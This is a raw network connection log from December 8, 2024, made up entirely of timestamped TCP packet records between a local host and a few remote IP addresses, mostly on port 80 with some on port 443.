Dec 8, 2024 17:45:47.397711039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.398725986 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.398806095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.398818970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.398860931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.443023920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.443037987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.443164110 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.443186998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.443240881 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.443310976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.443381071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.444267988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.444341898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.444375038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.444453955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.445378065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.445447922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.445496082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.445581913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.446542025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.446566105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.446638107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.446638107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.447588921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.447655916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.447683096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.447734118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.448708057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.448788881 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.448806047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.448852062 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.449820042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.449911118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.449913979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.449974060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.450968027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.451054096 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.451077938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.451131105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.452066898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.452141047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.452151060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.452193022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.453185081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.453269005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.453289986 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.453334093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.454324007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.454396963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.454415083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.454457045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.455425978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.455466032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.455503941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.455622911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.456592083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.456650972 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.456696033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.456696033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.457640886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.457695961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.457756996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.457834005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.458801985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.458880901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.458895922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.458972931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.459896088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.459986925 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.460000992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.460076094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.461040020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.461086988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.461118937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.461268902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.462115049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.462162018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.462174892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.462219954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.463232040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.463299990 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.463334084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.463409901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.464349031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.464406967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.464443922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.464620113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.465481997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.465540886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.465563059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.465727091 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.466654062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.466732979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.466738939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.466784000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.467713118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.467767954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.467796087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.467828035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.468821049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.468858957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.468904018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.468978882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.469933033 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.469971895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.470045090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.470117092 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.471081972 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.471124887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.471158028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.471205950 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.472196102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.472229958 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.472265005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.472300053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.473346949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.473396063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.473414898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.473426104 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.474678040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.474735022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.474792004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.474970102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.475622892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.475716114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.475742102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.475831985 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.476664066 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.476720095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.476773977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.476870060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.477761030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.477818012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.477905035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.477955103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.479207039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.479254961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.479487896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.479552984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.479986906 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:47.480051041 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:47.480063915 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:47.480076075 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:47.480114937 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:47.491457939 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:47.491472960 CET	443	49832	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:47.491486073 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:47.491528034 CET	49832	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:47.518408060 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.518433094 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.518486977 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.518507004 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.518531084 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.518549919 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.535224915 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.535250902 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.535346985 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.535363913 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.535419941 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.543003082 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.543024063 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.543135881 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.543144941 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.543368101 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.550690889 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.550707102 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.550791979 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.550800085 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.550865889 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.558501005 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.558518887 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.558563948 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.558571100 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.558630943 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.565272093 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.565289021 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.565350056 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.565356970 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.565403938 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.566104889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.566149950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.566174030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.566205978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.566659927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.566713095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.566791058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.566896915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.567780972 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.567831039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.567841053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.567873001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.568898916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.568964005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.569000006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.569103956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.569994926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.570046902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.570142031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.570173025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.571125031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.571180105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.571234941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.571280003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.572242022 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.572345018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.572354078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.572397947 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.572453022 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.572467089 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.572511911 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.572523117 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.573348045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.573437929 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.573468924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.573501110 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.573555946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.574467897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.574544907 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.574594975 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.575316906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.575598955 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.575700998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.575751066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.576733112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.576806068 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.576833963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.576869011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.577868938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.577928066 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.577980042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.578950882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.579042912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.579070091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.579118013 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.580080032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.580180883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.580249071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.580322027 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.580338001 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.580421925 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.580430031 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.581170082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.581233978 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.581233978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.581284046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.581321001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.582318068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.582385063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.582422018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.582467079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.583446026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.583528996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.583599091 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.584320068 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.584346056 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.584430933 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.584561110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.584645987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.584650040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.584695101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.584805012 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.584817886 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.585642099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.585709095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.585772991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.585820913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.586769104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.586837053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.586847067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.586900949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.586944103 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.587003946 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.587024927 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.587025881 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.587050915 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.587085009 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.587996960 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.588011980 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.635777950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.635809898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.635829926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.635883093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.636105061 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.636192083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.636219025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.636681080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.637212992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.637331009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.637373924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.637373924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.638323069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.638401985 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.638436079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.638658047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.639465094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.639518976 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.639611959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.639792919 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.640630007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.640688896 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.640777111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.640882015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.641942978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.642025948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.642143965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.642205000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.643064022 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.643126965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.643129110 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.643171072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.643903017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.644023895 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.644028902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.644119978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.645020008 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.645086050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.645117044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.645328999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.646172047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.646220922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.646239042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.646271944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.647300959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.647351980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.647397995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.647484064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.648395061 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.648442030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.648507118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.648550987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.649498940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.649547100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.649602890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.649643898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.650679111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.650752068 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.650774002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.650842905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.651747942 CET	80	49805	185.215.113.206	192.168.2.6
